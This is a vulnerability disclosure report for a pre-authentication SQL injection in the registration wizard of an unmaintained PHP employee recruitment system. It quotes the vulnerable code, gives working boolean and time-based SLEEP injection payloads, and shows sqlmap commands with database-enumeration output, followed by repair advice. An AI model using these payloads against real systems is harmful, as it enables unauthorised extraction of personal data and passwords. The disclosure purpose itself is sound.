Submit #995468: github.com Employee Recruitment System v1.0 SQL Injection

# krupalshah EmployeeRecruitmentSystem V1.0 /source/registerform2.php SQL injection

# Project OF AFFECTED PRODUCT(S)

- Employee Recruitment System

## Vendor Homepage

- https://github.com/krupalshah/EmployeeRecruitmentSystem

# AFFECTED AND/OR FIXED VERSION(S)

## submitter

- lql120

## Vulnerable File

- /source/registerform2.php

## VERSION(S)

- V1.0 (master branch, no version tags; repository marked "This project is no longer maintained" by the original vendor since 2016)

## Software Link

- https://github.com/krupalshah/EmployeeRecruitmentSystem

# PROBLEM TYPE

## Vulnerability Type

- SQL injection (boolean-based blind + time-based blind; error-based not reflected)

## Root Cause

- A SQL injection vulnerability was found in the 'source/registerform2.php' file (step 2 of the multi-page registration wizard) of the 'EmployeeRecruitmentSystem' project. The file takes eight POST parameters (`university`, `institute`, `branch`, `degree`, `status`, `cpi`, `semester`, `experience`) and concatenates them directly into an `INSERT` statement without any sanitisation, prepared statement or escaping. All eight parameters are injection points; `university` is used as the representative parameter. The endpoint is reachable without any session or login.

The vulnerable code (source/registerform2.php, lines 6–18):

```php
$university= $_POST['university'];
$institute = $_POST['institute'];
$branch = $_POST['branch'];
$degree = $_POST['degree'];
$status = $_POST['rad1'];
$cpi = $_POST['cpi'];
$semester = $_POST['semester'];
$experience = $_POST['experience'];
$query = "INSERT INTO `academic` (university,institute,branch,degree,status,cpi,semester,experience) VALUES ('$university', '$institute', '$branch', '$degree', '$status', '$cpi', '$semester', '$experience')";
$result = mysql_query($query);
```

## Impact

- An unauthenticated remote attacker can manipulate `university` (or any of the eight parameters) to break out of the string literal and inject arbitrary SQL. The observable effect is a reliable boolean oracle: a clean insert returns HTTP 302 redirect to `register3.php`, whereas an injected value that breaks the SQL returns HTTP 200. A `SLEEP()` payload inside the value triggers a measurable time delay (time-based blind), allowing full blind extraction of the entire database (candidate academic records, e-mails, plaintext passwords, requirements, etc.) without authentication.

# DESCRIPTION

- During the security review of "EmployeeRecruitmentSystem" I discovered a critical, pre-authentication SQL injection vulnerability in the 'source/registerform2.php' file (the public registration wizard, step 2). The vulnerability stems from insufficient validation of the POST parameters, which are interpolated directly into an unparameterised `mysql_query` `INSERT` statement. Because the registration endpoint is reachable without any authentication, an unauthenticated remote attacker can inject SQL and read (and even write) the underlying MySQL/MariaDB database. Immediate remediation is needed to ensure system security and protect data integrity.

# No login or authorization is required to exploit this vulnerability

# Vulnerability details and POC

## Vulnerability location:

- POST parameter 'university' (and `institute`, `branch`, `degree`, `status`, `cpi`, `semester`, `experience`) in `source/registerform2.php` — the public registration wizard, reachable without authentication.

## Proof-of-Concept (raw PoC commands, unauthenticated)

```
# 1) Boolean oracle — clean insert -> 302 redirect to register3.php
POST /source/registerform2.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
university=X&institute=Y&branch=Z&degree=B&status=1&cpi=8&semester=5&experience=2 -> HTTP 302

# Injected/broken value -> query fails -> HTTP 200
university=x'&institute=Y&branch=Z&degree=B&status=1&cpi=8&semester=5&experience=2 -> HTTP 200

# 2) Time-based blind — SLEEP inside the value (balanced so the appended values stay valid)
university=x' AND (SELECT 4361 FROM (SELECT(SLEEP(5)))Alov) AND 'x'='x&institute=Y&branch=Z&degree=B&status=1&cpi=8&semester=5&experience=2
# Response is delayed by ~5 seconds
```

## sqlmap — full database enumeration (unauthenticated, time-based blind)

```bash
python sqlmap.py -u "http://127.0.0.1:8082/source/registerform2.php" \
--data="university=X&institute=Y&branch=Z&degree=B&status=1&cpi=8&semester=5&experience=2" -p university \
--dbs --batch --time-sec=2 --threads=1 --level=3 --risk=2
```

```
---
Parameter: university (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: university=X' AND (SELECT 4361 FROM (SELECT(SLEEP(5)))Alov) AND 'x'='x&institute=...&...
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
available databases [7]:
[*] hms
[*] information_schema
[*] mysql
[*] ornament
[*] performance_schema
[*] recruitment
[*] test
```

## The following are screenshots of specific information obtained from testing and running with the sqlmap tool:

```bash
sqlmap -u "http://127.0.0.1:8082/source/registerform2.php" \
--data="university=X&institute=Y&branch=Z&degree=B&status=1&cpi=8&semester=5&experience=2" -p university --dbs
```

<img width="1918" height="946" alt="Image" src="https://github.com/user-attachments/assets/2fb1cbf1-7394-46c3-be6e-8a33fdad4b72" />

# Suggested repair

1. **Use prepared statements and parameter binding:** Replace the raw `mysql_query` INSERT with `mysqli`/`PDO` prepared statements and bind all eight parameters. Never interpolate user input into SQL text.
2. **Input validation:** Validate each field against an expected type/format (names as non-SQL text, numeric ranges for cpi/semester/experience, enum for status) before the query runs.
3. **Generic error handling:** Do not disclose raw error details; return a uniform message and log the exception server-side.
4. **Minimize database user permissions** and **regularly audit** the other `mysql_query` endpoints (`loginprocessing.php`, `authprocessing.php`, `registerform1.php`, `registerform3.php`, `adminregister.php`, `reqformprocessing.php`).

• Source: ⚠️ https://github.com/ubfbuz3/cve/issues/60
• User: lql120 (UID 82139)
• Submission: 09/23/2026 04:06 (1 month ago)
• Moderation: 10/24/2026 16:34 (1 month later)
• Status: Accepted
• VulDB entry: 426131 [krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe Registration Wizard registerform2.php mysql_query sql injection]
• Points: 20